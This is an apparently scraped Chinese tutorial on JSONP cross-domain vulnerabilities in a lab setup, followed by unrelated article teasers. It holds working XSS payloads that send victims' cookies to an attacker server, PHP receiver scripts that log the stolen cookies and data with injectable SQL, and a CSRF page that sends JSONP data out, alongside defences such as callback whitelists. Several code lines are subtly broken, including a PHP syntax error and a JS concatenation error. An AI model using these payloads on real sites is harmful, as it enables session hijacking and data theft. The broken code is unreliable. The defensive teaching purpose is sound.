JSONP跨域訪問漏洞

一、漏洞一:利用回調GetCookie

<?php$conn = new mysqli('127.0.0.1','root','root','learn') or die("數據庫連接不成功");
$conn->set_charset('utf8');
$sql = "select articleid,author,viewcount,creattime from learn3 where articleid < 5";
$result = $conn->query($sql);//輸出JSON數據到頁面
$json = json_encode($result->fetch_all(MYSQLI_ASSOC));
//echo $json;
echo $_GET['callback'] . "(" . $json . ")";$conn->close();?>
<!-- JSONP回調實現跨域 --><script>function test(args) {alert(JSON.stringify(args));}</script><script src="http://10.211.55.16/list-json.php?callback=test"></script>

當在list-json.html頁面中,直接構造以下Payload,則會導致彈窗

<script src="http://192.168.112.183/list-json.php?callback=alert(1);//"></script>

如果payload是這樣的話,也會給我們進行彈窗,說明存在XSS漏洞

<script src="http://192.168.112.183/list-json.php?callback=alert('Hello');//"></script>

?

基于這個XSS漏洞,我們就可以去利用這個漏洞

我們可以試著去讓它彈出當前頁面的Cookie,成功彈出Cookie

<script src="http://192.168.112.183/list-json.php?callback=alert(document.cookie);//"></script>

我們也可以讓它做一個登錄,成功登錄

然后我們再通過XSS漏洞將Sesssion ID彈出來,說明它并沒有對當前的Cookie設置http-only的屬性,讓我們的JavaScript是可以讀取到的

接下來呢,我們想辦法把這個頁面發送給登錄的用戶,讓用戶去點擊

那么,在彈窗位置,則可以實現利用,比如發送當前頁面的Cookie到183的xssrecv.php頁面上,Payload如下:

<script src="http://192.168.112.183/list-ison.php?
callback=location.href='http://192.168.112.183/xssrecv.php?
cookie='%2Bdocument.cookie%2B'%26url='%2Blocation.href;//"></script>

?經過http://192.168.112.183/security/list-json.html訪問上述頁面,即可完成Get Cookie,只要通過XSS漏洞將包含上述Payload的HTML頁面連接交給用戶訪問到,或者引誘登錄用戶點擊,則可以直接獲取用戶Cookie等數據

$ipaddr = $_SERVER['REMOTE_ADDR'];
$url = $_GET['url'];
$cookie = $_GET['cookie'];$conn = new mysqli('127.0.0.1','root','root','learn') or die("數據庫連接不成功.");
$conn->set_charset("utf8");
$sql = "insert into xssdata(ipaddr,url,cookie,createtime) values('$ipaddr','$url','$cookie',now())";
$conn->query($sql);
echo "<script>location.href='http://www.woniunote.com/'</script>";

然后我們打開數據庫,去看看xssdata那張表,看看能不能增加一條記錄

?然后我們去運行,發現已經跳轉到蝸牛筆記了

然后看見多了一條數據

對于其防護措施,首先我們應該限制callback的長度

在list-json.php中增加一條判斷語句

if (strlen($_GET['callback']) > 10) {die("too long");
}

我們通過Fidder進行監聽一下,響應告訴我們"too long"

當然,我們可以設置白名單,限制回調的函數名,代碼如下:

$white_list = array('test','jsonp','handle','doedit');
if !in_array($_GET['callback'],$white_list) {die("wrong_value");
}

綜上所述,需要對回調函數的名稱進行嚴格的限制,比如限制其長度,查詢其關鍵詞,或者使用白名單

二、漏洞二:利用CSRF獲取數據

當發現某個站點存在JSONP跨域漏洞之后,則只需要構造一個鏈接,讓被攻擊者在登錄狀態下點擊,然后在188服務器上的list-json.html頁面中的alert()的位置將獲取到的數據發送給攻擊服務器即可

在DoraBox靶場環境中存在這樣一行代碼:

$callback = htmlspecialchars($_GET['callback']);

上述代碼將跨域網站提交過去的callback的內容進行了轉義,杜絕了XSS獲取Cookie的漏洞。但是該頁面依然存在JSONP漏洞,在攻擊服務器192.168.112.183上添加jsonouse.html頁面,訪問正常服務器192.168.112.188上的Dorabox的JSONP漏洞頁面,代碼:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width,initial-scale=1.0"><title>跨頁面查看JSON數據</title><script>function test(args) {location.href="http://192.168.112.183/jsonprecv.php?value="+JSON.stringify(args)+"&referer="document.referer;}</script><script src="http://192.168.112.188/dorabox/csrf/jsonp.php?callback=test"></script></head>
<body>Good Boy
</body>
</html>

同時,在183攻擊服務器上增加jsonprecv.php頁面,內容如下:

$ipaddr = $_SERVER['REMOTE_ADDR'];
$url = $_GET['referer'];
$value = $_GET['value'];$conn = new mysqli('127.0.0.1','root','123456','learn') or die("數據庫連接不成功.");
$conn->set_charest("utf8");
$sql = "insert into xssdata(ipaddr,url,cookie,createtime) values('$ipaddr','$url','$cookie',now())";
$conn->query($sql);echo "<script>location.href='http://www.woniunote.com/'</script>";

然后我們去訪問192.168.112.183/jsonpuser.html,然后跳轉到了蝸牛筆記那兒

?然后去數據庫看看有沒有新增的數據

此時,在188的Dorabox服務器中,利用XSS漏洞生成一個連接到183攻擊服務器的"http://192.168.112.183/jsonpuse.html"頁面,完成數據泄露攻擊。(或者直接讓用戶點擊也可以)

DoraBox的存儲型比較有意思,直接在stored_xss.php的當前頁面的源代碼里面寫入存儲數據,所以要將此文件設置為可寫權限

我們修改list-json.php的代碼,如下所示,加一個while(1)

當我們去訪問的時候,發現已經沒反應了,因為while(1)一直在做死循環,這也是一個很好的防御方式

三、JSON攻擊防御方案

產生JSONP攻擊的核心在于沒有對調用方進行校驗

(1)前后端約定jsonp請求的js的回調函數名,不能自己定義回調名稱

(2)嚴格安全的實現CSRF方式調用JSON文件:限制Referer、部署一次性Token或其他Token驗證等

(3)嚴格按照JSON格式標準輸出Content-Type及編碼(Content-Type:application/json;charset=utf8),避免被XSS利用。可以在PHP源代碼中添加header("content-type:application/json");即可。

(4)嚴格過濾callback函數名及JSON里數據的輸出

(5)嚴格限制對JSONP輸出callback函數名的長度和內容

(6)其他一些比較"猥瑣"的方法:如在Callback輸出之前加入其他字符(如:/**/、回車換行)這樣不影響JSON文件加載,又能一定程度預防其他文件格式的輸出。還比如Gmall早期使用AJAX的方式獲取JSON,聽過在輸出JSON之前加入while(1);這樣的代碼來防止JS遠程調用。(可以試試,上面就是這個的例子)

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/74295.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/74295.shtml
英文地址,請注明出處:http://en.pswp.cn/web/74295.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

JuiceFS vs HDFS,最簡單的 JuiceFS 入門

你好,我是 shengjk1,多年大廠經驗,努力構建 通俗易懂的、好玩的編程語言教程。 歡迎關注!你會有如下收益: 了解大廠經驗擁有和大廠相匹配的技術等希望看什么,評論或者私信告訴我! 文章目錄 一、背景二、JuiceFS 入門2.1 核心特性2.2 JuiceFS 架構2.3 JuiceFS 如何存儲文…

音頻進階學習二十四——IIR濾波器設計方法

文章目錄 前言一、濾波器設計要求1.選頻濾波器種類2.通帶、阻帶、過度帶3.濾波器設計指標 二、IIR濾波器的設計過程1.設計方法2.常見的模擬濾波器設計1&#xff09;巴特沃斯濾波器&#xff08;Butterworth Filter&#xff09;2&#xff09;切比雪夫濾波器&#xff08;Chebyshev…

vue3源碼分析 -- runtime

runtime運行時&#xff0c;主要在packages/runtime-core目錄下&#xff0c;核心提供了h、render等函數。在理解它們之前&#xff0c;我們需要了解下HTML DOM 樹和虛擬 DOM等概念 HTML DOM 樹 通過節點構成的一個樹形結構&#xff0c;我們稱為HTML DOM節點樹。DOM 文檔里面做了…

清明假期在即

2025年4月2日&#xff0c;6~22℃&#xff0c;一般 遇見的事&#xff1a;這么都是清明出去玩&#xff1f;你們不掃墓的么。 感受到的情緒&#xff1a;當精力不放在一個人身上&#xff0c;你就會看到很多人&#xff0c;其實可以去接觸的。 反思&#xff1a;抖音上那么多不幸和幸…

tomcat 目錄結構組成

文章目錄 背景文件結構層級一些常用的路徑 背景 現在非常多的 java web 服務部署在 linux 服務器中&#xff0c;我們服務器中的 tomcat 會有各種文件路徑&#xff0c;看下它有哪些文件 文件結構層級 ├── bin/ # 核心腳本和啟動文件 ├── conf/ # …

多層內網滲透測試虛擬仿真實驗環境(Tomcat、ladon64、frp、Weblogic、權限維持、SSH Server Wrapper后門)

在線環境:https://www.yijinglab.com/ 拓撲圖 信息收集 IP地址掃描 確定目標IP為10.1.1.121 全端口掃描 訪問靶機8080端口,發現目標是一個Tomcat服務,版本

NOIP2010提高組.引水入城

*前置題目 901. 滑雪 #include <iostream> #include <algorithm> #include <cstring>using namespace std;const int N 310, INF 0x3f3f3f3f; const int dx[4] {0, -1, 0, 1}, dy[4] {1, 0, -1, 0};int n, m, h[N][N]; int f[N][N]; int ans;int dfs(i…

Share02-小小腳本大大能量

各位看官你們好&#xff0c;又是一篇共享知識點的文章&#xff0c;今天我們來聊一聊腳本在我們上位組態中的作用。各個廠家的上位軟件或者觸屏軟件都內嵌了腳本功能&#xff0c;有的是二次開發的固定指令格式&#xff0c;有的可以接收廣域的標準語言指令。它帶給我們更多的方便…

LangChain接入azureopenai步驟(2025年初)

背景&#xff1a; 為了快速且規范的實現ai應用&#xff0c;可使用LangChain框架&#xff0c;便于后期維護。雖然deepseek異軍突起&#xff0c;在終端用戶占有率很高&#xff0c;但是仔細查閱相關api接口&#xff0c;尤其是自有知識庫需要使用的文本向量化模型方面&#xff0c;o…

阿里云國際站代理商:模型訓練中斷數據丟失怎么辦?

定期保存訓練狀態&#xff1a;在訓練過程中&#xff0c;設定自動保存訓練狀態的頻率&#xff0c;將模型的參數、優化器狀態、訓練數據的中間結果等定期保存到存儲介質上。這樣&#xff0c;當中斷發生時&#xff0c;可以恢復到上次保存的狀態&#xff0c;避免訓練進度的損失。 …

C++17更新內容匯總

C17 是 C14 的進一步改進版本&#xff0c;它引入了許多增強特性&#xff0c;優化了語法&#xff0c;并提升了編譯期計算能力。以下是 C17 的主要更新內容&#xff1a; 1. 結構化綁定&#xff08;Structured Bindings&#xff09; 允許同時解構多個變量&#xff0c;從 std::tup…

2025年Axure RP9無法免費使用Axure Cloud的解決方案

解決方案 更換新賬號&#xff0c;換了一個郵箱注冊&#xff0c;再登陸&#xff0c;又會給你30天的試用期。 對&#xff0c;辦法就是換個郵箱注冊&#xff0c;又續上30天的試用期。

供應鏈中的的“四流合一”

在供應鏈中&#xff0c;物流、資金流、信息流、商流是共同存在的&#xff0c;商流、信息流和資金流的結合將更好的支持和加強供應鏈上、下游企業之間的貨物、服務往來&#xff08;物流&#xff09;。 一、商流 在供應鏈中&#xff0c;上下游供應商的資金鏈條均可被金融服務機構…

MonkeyDev 如何創建一個root級級別的app

前提條件:有越獄的手機,XCode中已經安裝了Monkeydev 1. 和普通應用一個創建一個ios的工程 2. 在App的TARGETS>build setting> 中設置Apple Development 3. 設置User-Defined的配置 CODE_SIGNING_ALLOWED = NO MonkeyDevBuildPackageOnAnyBuild = NO MonkeyDevClearUi…

Excel時間類型函數(包括today、date、eomonth、year、month、day、weekday、weeknum、datedif)

目錄 1. TODAY()2. DATE()3. EOMONTH()4. YEAR()5. MONTH()6. DAY()7. WEEKDAY()8. WEEKNUM()9. DATEDIF()10.&#x1f4cc; 函數擴展與應用11. &#x1f4da; 時間函數基礎概念與分類 Excel 提供了許多 日期與時間類型的函數&#xff0c;用于操作與處理日期或時間數據。這些函…

Lumerical ------ Edge coupler design

Lumerical ------ Edge coupler design 引言正文無 Si Substrate 的仿真步驟有 Si Substrate 的仿真步驟引言 本文,我們將使用官方提供的 Edge coupler 設計教程,但是中間會帶有作者本人的設計的感悟。 正文 無 Si Substrate 的仿真步驟 打開 Edge_Coupler_No_Substrate.l…

Spring筆記06-數據持久化

在 Spring 中&#xff0c;數據持久化是將應用程序中的數據保存到持久化存儲&#xff08;如數據庫&#xff09;中的過程 &#xff0c;主要通過以下幾種方式實現&#xff1a; 1. JDBC&#xff08;Java Database Connectivity&#xff09; 原理&#xff1a;JDBC 是 Java 訪問關系…

spring boot集成reids的 RedisTemplate 序列化器詳細對比(官方及非官方)

RedisTemplate 序列化器詳細對比&#xff08;官方及非官方&#xff09; 1. 官方序列化器 (1) JdkSerializationRedisSerializer 特點&#xff1a; 基于 Java 原生序列化&#xff08;Serializable&#xff09;。支持復雜對象&#xff08;需實現 Serializable 接口&#xff09;…

ssh私鑰文件登錄問題:Load key invalid format

問題 在mac上面使用私鑰文件登錄時候&#xff0c;出現了如下錯誤&#xff1a; Load key “xxx.pem”: invalid format 但是&#xff0c;這個私鑰文件在win上面能夠正常使用ssh進行遠程登錄。在mac上面不能。而且&#xff0c;分別在win和mac上面分別查看了這兩個私鑰文件的md5…

AI戰略群與星際之門:軟銀AI投資版圖計劃深度解析

一、星際之門:萬億美元級 AI 基礎設施革命 1.1 項目背景與戰略定位 在 AI 技術迅猛發展的今天,算力已成為推動其前進的核心動力。軟銀聯合 OpenAI、甲骨文、英偉達、微軟、arm推出的 “星際之門”(Stargate)計劃,無疑是 AI 領域的一顆重磅炸彈。作為 AI 領域史上最大單筆…